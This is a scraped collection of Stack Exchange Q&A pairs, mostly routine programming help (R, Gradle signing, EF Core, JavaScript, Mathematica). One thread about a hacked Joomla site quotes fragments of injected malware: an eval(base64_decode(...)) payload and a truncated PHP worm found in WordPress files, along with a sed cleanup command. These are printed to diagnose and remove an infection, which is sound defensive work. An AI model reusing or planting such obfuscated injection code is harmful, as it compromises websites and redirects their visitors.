do.call("curve",list(expr = substitute(my.func)))
}
```
... | 2013/01/12 | [
"https://Stackoverflow.com/questions/14292218",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1306849/"
] | This works:
```
func3 <- function (m, n) {
my.func <- func1 (m, n); print(str(my.func))
do.call(curve, list(expr=bquote( my.func) ) )
}
``` | You just need to remove line:
my.func <- func1 (m, n)
from func3. |
14,292,218 | I am facing a strange problem about **do.call** and **curve**:
```
func1 <- function (m, n) {
charac <- paste ("func2 <- function(x)", m, "*x^", n, sep = "")
eval(parse(text = charac))
return(func2)
}
func3 <- function (m, n) {
my.func <- func1 (m, n)
do.call("curve",list(expr = substitute(my.func)))
}
```
... | 2013/01/12 | [
"https://Stackoverflow.com/questions/14292218",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1306849/"
] | You are making this overcomplicated - you don't need to do anything special when creating `f2`:
```
f1 <- function (m, n) {
function(x) m * x ^ n
}
f3 <- function (m, n) {
f2 <- f1(m, n)
curve(f2)
}
f3(3, 6)
```
This could, of course, be made more concise by eliminating `f1`:
```
f4 <- function (m, n) {
f2 ... | This works:
```
func3 <- function (m, n) {
my.func <- func1 (m, n); print(str(my.func))
do.call(curve, list(expr=bquote( my.func) ) )
}
``` |
14,292,218 | I am facing a strange problem about **do.call** and **curve**:
```
func1 <- function (m, n) {
charac <- paste ("func2 <- function(x)", m, "*x^", n, sep = "")
eval(parse(text = charac))
return(func2)
}
func3 <- function (m, n) {
my.func <- func1 (m, n)
do.call("curve",list(expr = substitute(my.func)))
}
```
... | 2013/01/12 | [
"https://Stackoverflow.com/questions/14292218",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1306849/"
] | You are making this overcomplicated - you don't need to do anything special when creating `f2`:
```
f1 <- function (m, n) {
function(x) m * x ^ n
}
f3 <- function (m, n) {
f2 <- f1(m, n)
curve(f2)
}
f3(3, 6)
```
This could, of course, be made more concise by eliminating `f1`:
```
f4 <- function (m, n) {
f2 ... | You just need to remove line:
my.func <- func1 (m, n)
from func3. |
60,929,336 | I would like to test out simple LinkedIN api functionality, e.g to get my personal profile data from linkedIn or any of my posts...
However, I have the problem that is seems that you have to create something like an "app" first, and refer to your company profile, however, I don't have a specific company profile at the ... | 2020/03/30 | [
"https://Stackoverflow.com/questions/60929336",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2774480/"
] | There is no good way to change order of key-value pairs in javascript object. Integer-like keys will be returned first in ascending order, then string key in insertion order, and then symbol keys in insertion order
But, you can attach a custom iterator to the object that will take control over how iterators (`for..of`... | Keys will be returned in an unpredictable sequence. You *can* retrieve a list of keys, sort that list, and then retrieve the values using that sorted list. That's the only way to do it when using a hash table. Note that you are consuming storage both for the hash table and the list. |
7,619 | I want to estimate the properties of a response time distribution (mean, variance, tail-length) for individual subjects.
How many samples (trials) do I need to collect to get reliable estimates?
Does it depend on the method of estimation (i.e. maximum likelihood versus hierarchical Bayesian)? | 2014/06/12 | [
"https://cogsci.stackexchange.com/questions/7619",
"https://cogsci.stackexchange.com",
"https://cogsci.stackexchange.com/users/4906/"
] | Andrew Gelman has [blogged](http://andrewgelman.com/2014/03/11/myth-myth-myth-hot-hand/) and [published](http://www.stat.columbia.edu/~gelman/research/published/bayes_management.pdf) about the "hot hand" phenomenon from a statistical perspective. His statistical perspective is probably fairly authoritative, and his psy... | @jona is correct: from a statistical point of view, this "hot hand" effect is often an illusion, produced by our own faulty statistical intuitions.
However, this isn't the whole story - even if we overestimate it, performance does systematically vary over time.
Most of the work on this, or at least most of the work I ... |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Make sure that you have added the below line in your build.gradle file @ android/app.
```
def keystoreProperties = new Properties()
def keystorePropertiesFile = rootProject.file('key.properties')
if (keystorePropertiesFile.exists()) {
keystoreProperties.load(new FileInputStream(keystorePropertiesFile))
}
``` | Can you share your build gradle file?
It seems that there is some problem in your Signing Configs.
Sharing a demo Signing Config code.
```
signingConfigs {
release {
storeFile file('demo.jks')
storePassword "demo123"
keyAlias "demo"
keyPassword "demo123"
}
}
``` |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Can you share your build gradle file?
It seems that there is some problem in your Signing Configs.
Sharing a demo Signing Config code.
```
signingConfigs {
release {
storeFile file('demo.jks')
storePassword "demo123"
keyAlias "demo"
keyPassword "demo123"
}
}
``` | try adding this in your app/build.gradle at the top of android {...}
```
def keystoreProperties = new Properties()
def keystorePropertiesFile = rootProject.file('key.properties')
if (keystorePropertiesFile.exists()) {
keystoreProperties.load(new FileInputStream(keystorePropertiesFile))
}
``` |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Can you share your build gradle file?
It seems that there is some problem in your Signing Configs.
Sharing a demo Signing Config code.
```
signingConfigs {
release {
storeFile file('demo.jks')
storePassword "demo123"
keyAlias "demo"
keyPassword "demo123"
}
}
``` | [androidS](https://i.stack.imgur.com/8yjRd.jpg)
Try adding this signature data to gradle.properties:
```
RELEASE_KEY_PASSWORD = 123456
RELEASE_KEY_ALIAS = releaseKey
RELEASE_STORE_PASSWORD = 123456
RELEASE_STORE_FILE = key/releaseKey.jks
``` |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Can you share your build gradle file?
It seems that there is some problem in your Signing Configs.
Sharing a demo Signing Config code.
```
signingConfigs {
release {
storeFile file('demo.jks')
storePassword "demo123"
keyAlias "demo"
keyPassword "demo123"
}
}
``` | I recently face the same error and tried all the solutions in here none worked until I changed entire app/build.gradle with the following code:
```
def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
localPropertiesFile.withReade... |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Make sure that you have added the below line in your build.gradle file @ android/app.
```
def keystoreProperties = new Properties()
def keystorePropertiesFile = rootProject.file('key.properties')
if (keystorePropertiesFile.exists()) {
keystoreProperties.load(new FileInputStream(keystorePropertiesFile))
}
``` | try adding this in your app/build.gradle at the top of android {...}
```
def keystoreProperties = new Properties()
def keystorePropertiesFile = rootProject.file('key.properties')
if (keystorePropertiesFile.exists()) {
keystoreProperties.load(new FileInputStream(keystorePropertiesFile))
}
``` |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Make sure that you have added the below line in your build.gradle file @ android/app.
```
def keystoreProperties = new Properties()
def keystorePropertiesFile = rootProject.file('key.properties')
if (keystorePropertiesFile.exists()) {
keystoreProperties.load(new FileInputStream(keystorePropertiesFile))
}
``` | [androidS](https://i.stack.imgur.com/8yjRd.jpg)
Try adding this signature data to gradle.properties:
```
RELEASE_KEY_PASSWORD = 123456
RELEASE_KEY_ALIAS = releaseKey
RELEASE_STORE_PASSWORD = 123456
RELEASE_STORE_FILE = key/releaseKey.jks
``` |
44,352,411 | I've been having this problem recently as I'm searching everywhere, also here in stack, I see a lot of different answers.
Does anybody know how to solve this one?
>
> Error:(46, 0) Could not get unknown property 'RELEASE\_STORE\_PASSWORD'
> for SigningConfig\_Decorated{name=debug, storeFile=C:\Users\— Shahab
> —... | 2017/06/04 | [
"https://Stackoverflow.com/questions/44352411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8109749/"
] | Make sure that you have added the below line in your build.gradle file @ android/app.
```
def keystoreProperties = new Properties()
def keystorePropertiesFile = rootProject.file('key.properties')
if (keystorePropertiesFile.exists()) {
keystoreProperties.load(new FileInputStream(keystorePropertiesFile))
}
``` | I recently face the same error and tried all the solutions in here none worked until I changed entire app/build.gradle with the following code:
```
def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
localPropertiesFile.withReade... |
59,159 | I'm a Computer Science major, working as a programmer. I'm also finishing an MBA, and would like to gain some experience in that direction: management/human resources/business development.
I've spoken with the VP of HR and she will be keeping an eye out for such opportunities on my behalf. In the mean time, however, I... | 2015/12/10 | [
"https://workplace.stackexchange.com/questions/59159",
"https://workplace.stackexchange.com",
"https://workplace.stackexchange.com/users/44865/"
] | I'd be direct about it. "Hey, boss, you know I've been working on n MBA... I'd like to start applying some of what I've learned. Canyou think of any tasks that need to be done where we could take advantage of this training?"
Since I'm still not convinced I see the value of an MBA, I can't advise re what kinds of tasks... | You have to play political. That's a good thing, as the position you're looking for is much more political than your current one.
* Get friends in different teams
* Use them to know what kind of open positions in their team could be of interest to you
* Get friends in the hierarchy above positions that are of interest... |
59,159 | I'm a Computer Science major, working as a programmer. I'm also finishing an MBA, and would like to gain some experience in that direction: management/human resources/business development.
I've spoken with the VP of HR and she will be keeping an eye out for such opportunities on my behalf. In the mean time, however, I... | 2015/12/10 | [
"https://workplace.stackexchange.com/questions/59159",
"https://workplace.stackexchange.com",
"https://workplace.stackexchange.com/users/44865/"
] | As a programmer finishing an MBA you will need to switch jobs to gain MBA related experience. Your VP should know this. While some jobs require splitting time between management and technical skills, those roles don't always naturally exist and sometimes need to be created. This means the issue is whether your new job ... | You have to play political. That's a good thing, as the position you're looking for is much more political than your current one.
* Get friends in different teams
* Use them to know what kind of open positions in their team could be of interest to you
* Get friends in the hierarchy above positions that are of interest... |
59,159 | I'm a Computer Science major, working as a programmer. I'm also finishing an MBA, and would like to gain some experience in that direction: management/human resources/business development.
I've spoken with the VP of HR and she will be keeping an eye out for such opportunities on my behalf. In the mean time, however, I... | 2015/12/10 | [
"https://workplace.stackexchange.com/questions/59159",
"https://workplace.stackexchange.com",
"https://workplace.stackexchange.com/users/44865/"
] | I'd be direct about it. "Hey, boss, you know I've been working on n MBA... I'd like to start applying some of what I've learned. Canyou think of any tasks that need to be done where we could take advantage of this training?"
Since I'm still not convinced I see the value of an MBA, I can't advise re what kinds of tasks... | As a programmer finishing an MBA you will need to switch jobs to gain MBA related experience. Your VP should know this. While some jobs require splitting time between management and technical skills, those roles don't always naturally exist and sometimes need to be created. This means the issue is whether your new job ... |
14,636,111 | This script checks to see if the the form has been filled in correctly but the `toggle()` function keeps getting fired (at least in FireFox). In the following example "now here" keeps showing up after the form is valid (that is all fields have some text).
```
<script type="text/javascript">
<!--
functi... | 2013/01/31 | [
"https://Stackoverflow.com/questions/14636111",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1279820/"
] | In FireFox if you press the enter key on an alert window it fires `onKeyUp` | Looks like you want the function to make the submit change from disabled to enabled when the form is correctly filled out. The function should fire every time the `onKeyUp` is called with the all three inputs because you are calling it in all three inputs.
My jsfiddle (<http://jsfiddle.net/BhaeG/>) only fires the `ale... |
14,636,111 | This script checks to see if the the form has been filled in correctly but the `toggle()` function keeps getting fired (at least in FireFox). In the following example "now here" keeps showing up after the form is valid (that is all fields have some text).
```
<script type="text/javascript">
<!--
functi... | 2013/01/31 | [
"https://Stackoverflow.com/questions/14636111",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1279820/"
] | Looks like you want the function to make the submit change from disabled to enabled when the form is correctly filled out. The function should fire every time the `onKeyUp` is called with the all three inputs because you are calling it in all three inputs.
My jsfiddle (<http://jsfiddle.net/BhaeG/>) only fires the `ale... | I got around this issue by using onkeydown instead of onkeyup. YMMV. |
14,636,111 | This script checks to see if the the form has been filled in correctly but the `toggle()` function keeps getting fired (at least in FireFox). In the following example "now here" keeps showing up after the form is valid (that is all fields have some text).
```
<script type="text/javascript">
<!--
functi... | 2013/01/31 | [
"https://Stackoverflow.com/questions/14636111",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1279820/"
] | In FireFox if you press the enter key on an alert window it fires `onKeyUp` | I got around this issue by using onkeydown instead of onkeyup. YMMV. |
46,028,069 | I'm implementing [Newton's method for finding roots](https://en.wikipedia.org/wiki/Newton%27s_method) in a precompiled library. The common case will be to work with functions from `Float64` to `Float64`, and I want an optimized compiled version of it to exist in the library. I will, of course, implement a type generic ... | 2017/09/03 | [
"https://Stackoverflow.com/questions/46028069",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3680890/"
] | For clarity I will write my comment as an answer:
You don't need to specialize function signatures on types in Julia, unless it is to implement a specialized handling in the function body. Argument type assertion has no impact on code speed or compilability. See <http://docs.julialang.org/en/latest/manual/performance-t... | This is not the way to write Julia code. You are writing Julia as if it was a statically typed language. It is an easy mistake to make because Julia "looks" a lot like a statically typed language. To get performance in Julia the important thing is not annotating with types, but achieving type stability.
That means wri... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I just had this issue. I forgot to set a primary key in the SQL table.
I ended up deleting all the model classes, and recreating them using -
`Scaffold-DbContext "Server=.\sqlexpress;Database=YOURDB;Trusted_Connection=True;" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models`
Afterwards, I was able to create... | First, make sure that your table contains primary key, then run following command, in order to create model class using EF Db first approach:
>
> Scaffold-DbContext
> "Server=DESKTOP-48G00GJ;Database=AXITClassDesignEg;Trusted\_Connection=True;"
> Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models -f
>
>
>
... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | Make sure to remove entity.HasNoKey(); from modelBuilder as well. | I found a similar error while scaffolding asp.net core MVC controller method. The error reported the same error that is in the title of this question.
Here is my POCO for the Model class I entered for Scaffolding an 'MVC Controller with Views, using Entity Framework'
I finally figured out what was missing. The [Key]... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I faced a similar issue while scafolding In Asp net core Mvc. Adding this to your
Dbcontext file might help!!
```
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
base.OnModelCreating(modelBuilder);
modelBuilder.Entity<Office>(entity =>
... | I found a similar error while scaffolding asp.net core MVC controller method. The error reported the same error that is in the title of this question.
Here is my POCO for the Model class I entered for Scaffolding an 'MVC Controller with Views, using Entity Framework'
I finally figured out what was missing. The [Key]... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | Make sure to remove entity.HasNoKey(); from modelBuilder as well. | I just had this issue. I forgot to set a primary key in the SQL table.
I ended up deleting all the model classes, and recreating them using -
`Scaffold-DbContext "Server=.\sqlexpress;Database=YOURDB;Trusted_Connection=True;" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models`
Afterwards, I was able to create... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I'm not sure if this will resolve your issue, but maybe try the following. It sounds similar to what you described already, however I've posted it anyway just to be sure.
```
public class Office
{
[Key]
public int OfficeID { get; set; }
public string Name { get; set; }
public int SiteID { get; set; }
}... | I faced a similar issue while scafolding In Asp net core Mvc. Adding this to your
Dbcontext file might help!!
```
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
base.OnModelCreating(modelBuilder);
modelBuilder.Entity<Office>(entity =>
... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I faced a similar issue while scafolding In Asp net core Mvc. Adding this to your
Dbcontext file might help!!
```
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
base.OnModelCreating(modelBuilder);
modelBuilder.Entity<Office>(entity =>
... | Make sure to remove entity.HasNoKey(); from modelBuilder as well. |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I found a similar error while scaffolding asp.net core MVC controller method. The error reported the same error that is in the title of this question.
Here is my POCO for the Model class I entered for Scaffolding an 'MVC Controller with Views, using Entity Framework'
I finally figured out what was missing. The [Key]... | First, make sure that your table contains primary key, then run following command, in order to create model class using EF Db first approach:
>
> Scaffold-DbContext
> "Server=DESKTOP-48G00GJ;Database=AXITClassDesignEg;Trusted\_Connection=True;"
> Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models -f
>
>
>
... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I'm not sure if this will resolve your issue, but maybe try the following. It sounds similar to what you described already, however I've posted it anyway just to be sure.
```
public class Office
{
[Key]
public int OfficeID { get; set; }
public string Name { get; set; }
public int SiteID { get; set; }
}... | Make sure to remove entity.HasNoKey(); from modelBuilder as well. |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | Make sure to remove entity.HasNoKey(); from modelBuilder as well. | First, make sure that your table contains primary key, then run following command, in order to create model class using EF Db first approach:
>
> Scaffold-DbContext
> "Server=DESKTOP-48G00GJ;Database=AXITClassDesignEg;Trusted\_Connection=True;"
> Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models -f
>
>
>
... |
45,468,970 | I tried looking at the other questions regarding this error but they do not apply to my code.
Here is the HTML:
```
<form id="form1" action="" method="get">
Name: <input type="text" name="name">
Favourite Sport: <select id="sport">
<option value=""> -- </option>
<option... | 2017/08/02 | [
"https://Stackoverflow.com/questions/45468970",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5932538/"
] | I'm not sure if this will resolve your issue, but maybe try the following. It sounds similar to what you described already, however I've posted it anyway just to be sure.
```
public class Office
{
[Key]
public int OfficeID { get; set; }
public string Name { get; set; }
public int SiteID { get; set; }
}... | I just had this issue. I forgot to set a primary key in the SQL table.
I ended up deleting all the model classes, and recreating them using -
`Scaffold-DbContext "Server=.\sqlexpress;Database=YOURDB;Trusted_Connection=True;" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models`
Afterwards, I was able to create... |
11,155,618 | Today while giving a check to my website, just found this problem.
Here is details of problem:
When I Google my website, it appears in Google result page as always.
But when I click on the link to my website in search result, It takes some time to redirect me, after processing it redirect me to some random URL (on a... | 2012/06/22 | [
"https://Stackoverflow.com/questions/11155618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1249564/"
] | Finally got the problem sorted out, before deadline, here are the details:
Firstly what the threat was:
Its a simple Base64 encoded PHP script, which I found on all files of my sites, here is how it looks:
```
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCi... | Try to disable plugins, here is a tutorial:
<http://www.ostraining.com/blog/joomla/disable-a-joomla-plugin/>
if it will works, you will be able to identify which plugin is infected. |
11,155,618 | Today while giving a check to my website, just found this problem.
Here is details of problem:
When I Google my website, it appears in Google result page as always.
But when I click on the link to my website in search result, It takes some time to redirect me, after processing it redirect me to some random URL (on a... | 2012/06/22 | [
"https://Stackoverflow.com/questions/11155618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1249564/"
] | Try to disable plugins, here is a tutorial:
<http://www.ostraining.com/blog/joomla/disable-a-joomla-plugin/>
if it will works, you will be able to identify which plugin is infected. | This is a regular issue that some CMS presents. Here is a script that solver 100% your issue.
```
find . \( -name "*.php" \) -exec grep -Hn "[\t]*eval(base64_decode(.*));" {} \; -exec sed -i 's/[\t]*eval(base64_decode(.*));//g' {} \;
```
you have to run it in console. |
11,155,618 | Today while giving a check to my website, just found this problem.
Here is details of problem:
When I Google my website, it appears in Google result page as always.
But when I click on the link to my website in search result, It takes some time to redirect me, after processing it redirect me to some random URL (on a... | 2012/06/22 | [
"https://Stackoverflow.com/questions/11155618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1249564/"
] | Try to disable plugins, here is a tutorial:
<http://www.ostraining.com/blog/joomla/disable-a-joomla-plugin/>
if it will works, you will be able to identify which plugin is infected. | I had similar problem. Located corrupted files in wp core files: index.php, wp-config.php. Found this worm there
Hope will help someone !
```
<?php
if(!defined('_NET'))
{
error_reporting(0);
$NET='shl-ed1';
define('_NET',$NET);
if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/L... |
11,155,618 | Today while giving a check to my website, just found this problem.
Here is details of problem:
When I Google my website, it appears in Google result page as always.
But when I click on the link to my website in search result, It takes some time to redirect me, after processing it redirect me to some random URL (on a... | 2012/06/22 | [
"https://Stackoverflow.com/questions/11155618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1249564/"
] | Finally got the problem sorted out, before deadline, here are the details:
Firstly what the threat was:
Its a simple Base64 encoded PHP script, which I found on all files of my sites, here is how it looks:
```
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCi... | This is a regular issue that some CMS presents. Here is a script that solver 100% your issue.
```
find . \( -name "*.php" \) -exec grep -Hn "[\t]*eval(base64_decode(.*));" {} \; -exec sed -i 's/[\t]*eval(base64_decode(.*));//g' {} \;
```
you have to run it in console. |
11,155,618 | Today while giving a check to my website, just found this problem.
Here is details of problem:
When I Google my website, it appears in Google result page as always.
But when I click on the link to my website in search result, It takes some time to redirect me, after processing it redirect me to some random URL (on a... | 2012/06/22 | [
"https://Stackoverflow.com/questions/11155618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1249564/"
] | Finally got the problem sorted out, before deadline, here are the details:
Firstly what the threat was:
Its a simple Base64 encoded PHP script, which I found on all files of my sites, here is how it looks:
```
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCi... | I had similar problem. Located corrupted files in wp core files: index.php, wp-config.php. Found this worm there
Hope will help someone !
```
<?php
if(!defined('_NET'))
{
error_reporting(0);
$NET='shl-ed1';
define('_NET',$NET);
if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/L... |
11,155,618 | Today while giving a check to my website, just found this problem.
Here is details of problem:
When I Google my website, it appears in Google result page as always.
But when I click on the link to my website in search result, It takes some time to redirect me, after processing it redirect me to some random URL (on a... | 2012/06/22 | [
"https://Stackoverflow.com/questions/11155618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1249564/"
] | This is a regular issue that some CMS presents. Here is a script that solver 100% your issue.
```
find . \( -name "*.php" \) -exec grep -Hn "[\t]*eval(base64_decode(.*));" {} \; -exec sed -i 's/[\t]*eval(base64_decode(.*));//g' {} \;
```
you have to run it in console. | I had similar problem. Located corrupted files in wp core files: index.php, wp-config.php. Found this worm there
Hope will help someone !
```
<?php
if(!defined('_NET'))
{
error_reporting(0);
$NET='shl-ed1';
define('_NET',$NET);
if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/L... |
25,352 | I need to make a list of some elements from a 4D array with dimensions 4x4x4x4. I need to select the elements based on their position in the following way: name an element e(x,y,z,w); I need all the elements where x≥y and z≥w. This basically excludes all the upper triangular part of each submatrix and all the submatric... | 2013/05/16 | [
"https://mathematica.stackexchange.com/questions/25352",
"https://mathematica.stackexchange.com",
"https://mathematica.stackexchange.com/users/7473/"
] | From your definition:
>
> This basically excludes all the upper triangular part of each submatrix and all the submatrices in the upper triangular part of the tensor.
>
>
>
```
With[{lt = LowerTriangularize, ca = ConstantArray},
Pick[b, # * ca[#, {4, 4}] & @ lt @ ca[1, {4, 4}], 1]
] ~Flatten~ 3
``` | Do these give what you want?
```
rv1[b_] :=
Module[{tag},
SparseArray[{x_, y_, z_, w_} /; x >= y && z >= w :>
b[[x, y, z, w]], Dimensions@b, tag]["NonzeroValues"]];
rv2[b_] :=
Extract[b,
Cases[Range@4~Tuples~{4}, {x_, y_, z_, w_} /; x >= y && z >= w]];
rv3[b_] :=
Extract[b,
Table[{x, y, z... |
25,352 | I need to make a list of some elements from a 4D array with dimensions 4x4x4x4. I need to select the elements based on their position in the following way: name an element e(x,y,z,w); I need all the elements where x≥y and z≥w. This basically excludes all the upper triangular part of each submatrix and all the submatric... | 2013/05/16 | [
"https://mathematica.stackexchange.com/questions/25352",
"https://mathematica.stackexchange.com",
"https://mathematica.stackexchange.com/users/7473/"
] | Do these give what you want?
```
rv1[b_] :=
Module[{tag},
SparseArray[{x_, y_, z_, w_} /; x >= y && z >= w :>
b[[x, y, z, w]], Dimensions@b, tag]["NonzeroValues"]];
rv2[b_] :=
Extract[b,
Cases[Range@4~Tuples~{4}, {x_, y_, z_, w_} /; x >= y && z >= w]];
rv3[b_] :=
Extract[b,
Table[{x, y, z... | A flexible solution :
```
Reap[ReplacePart[
b,
({x_, y_, z_, w_} /; x >= y && z >= w) :> Sow[Extract[b, {x, y, z, w}]]
];][[2, 1]]
```
So far I know, `ReplacePart[]` is the only instruction that accepts a pattern of indexes as argument. That's the reason why I use `ReplacePart[]`. In fact we don't... |
25,352 | I need to make a list of some elements from a 4D array with dimensions 4x4x4x4. I need to select the elements based on their position in the following way: name an element e(x,y,z,w); I need all the elements where x≥y and z≥w. This basically excludes all the upper triangular part of each submatrix and all the submatric... | 2013/05/16 | [
"https://mathematica.stackexchange.com/questions/25352",
"https://mathematica.stackexchange.com",
"https://mathematica.stackexchange.com/users/7473/"
] | Do these give what you want?
```
rv1[b_] :=
Module[{tag},
SparseArray[{x_, y_, z_, w_} /; x >= y && z >= w :>
b[[x, y, z, w]], Dimensions@b, tag]["NonzeroValues"]];
rv2[b_] :=
Extract[b,
Cases[Range@4~Tuples~{4}, {x_, y_, z_, w_} /; x >= y && z >= w]];
rv3[b_] :=
Extract[b,
Table[{x, y, z... | Two `Pick`'s; first picks out matrices, second elements:
```
With[{s = ConstantArray[True, {3, 3}] // UpperTriangularize},
Map[
Pick[#, s] &,
Pick[m, s], {-3}]] // Flatten
```
`Pick` also works with `SparseArray` objects, so:
```
